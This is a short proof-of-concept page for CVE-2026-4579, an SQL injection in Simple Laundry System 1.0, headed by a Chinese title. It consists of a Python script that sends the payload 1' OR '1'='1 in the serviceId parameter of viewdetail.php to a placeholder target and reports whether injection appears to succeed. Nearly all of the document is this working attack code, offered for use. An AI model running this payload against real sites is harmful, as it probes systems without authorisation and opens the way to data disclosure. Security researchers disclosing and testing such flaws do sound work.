CVE-2026-4579 Simple Laundry System SQL注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4579 - SQL Injection in Simple Laundry System 1.0 import requests def exploit_sqli(url): # The vulnerable parameter is 'serviceId' in viewdetail.php # Testing with a simple OR based injection to check vulnerability payload = "1' OR '1'='1" target_url = f"{url}/viewdetail.php?serviceId={payload}" try: response = requests.get(target_url) if response.status_code == 200: print(f"[+] Potential SQL Injection detected at: {target_url}") print("[+] Check response content for database errors or data disclosure.") else: print(f"[-] Request returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://target-domain.com" # Replace with actual target exploit_sqli(target)